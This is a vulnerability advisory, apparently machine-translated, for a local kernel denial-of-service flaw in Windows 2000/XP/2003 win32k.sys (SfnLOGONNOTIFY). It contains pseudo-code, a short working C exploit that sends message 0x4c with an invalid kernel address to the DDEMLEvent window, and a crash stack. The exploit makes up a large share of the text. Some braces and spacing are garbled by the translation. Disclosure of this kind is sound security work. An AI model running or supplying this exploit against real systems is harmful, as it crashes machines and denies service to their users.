Windows 2000/XP/2003 win32k.sys SfnLOGONNOTIFY local kernel Denial of Service Vulnerability Effect : Microsoft Windows 2000/XP/2003 full patch Author:MJ0011 Published: 2010-04-22 Vulnerability Details: Win32k.sys in DispatchMessage when the last call to xxxDefWindowProc, this function in dealing with some Message, will call gapfnScSendMessage this function table function to process, which under the deal 2000/xp/2003 0x4c No. message, there will be a function called SfnLOGONNOTIFY, this function again when the wParam == 4/13/12 When the data directly from the lParam inside out, despite the use of the function of the SEH, but as long as the kernel passes the wrong address, will still lead to BSOD Pseudo-code: if (wParam == 4 | | wParam == 13 | | wParam == 12) ( v18 = * (_DWORD *) lParam; v19 = * (_DWORD *) (lParam 4); v20 = * (_DWORD *) (lParam 8); v21 = * (_DWORD *) (lParam 12); Exploit code: # Include "stdafx.h" # Include "windows.h" int main (int argc, char * argv []) ( printf("Microsoft Windows Win32k.sys SfnLOGONNOTIFY Local D.O.S Vuln\nBy MJ0011\nth_decoder (at) 126 (dot) com [email concealed]\nPressEnter"); getchar(); HWND hwnd = FindWindow ("DDEMLEvent", NULL); if (hwnd == 0) ( printf ("cannot find DDEMLEvent Window! \ n"); return 0; ) PostMessage (hwnd, 0x4c, 0x4, 0x80000000); return 0; ) Common crash stack: kd> kc win32k! SfnLOGONNOTIFY win32k! xxxDefWindowProc win32k! xxxEventWndProc win32k! xxxDispatchMessage win32k! NtUserDispatchMessage .... Windows 7/Vista no such problem Thanks: Thanks to my colleagues LYL to help me discovered this vulnerability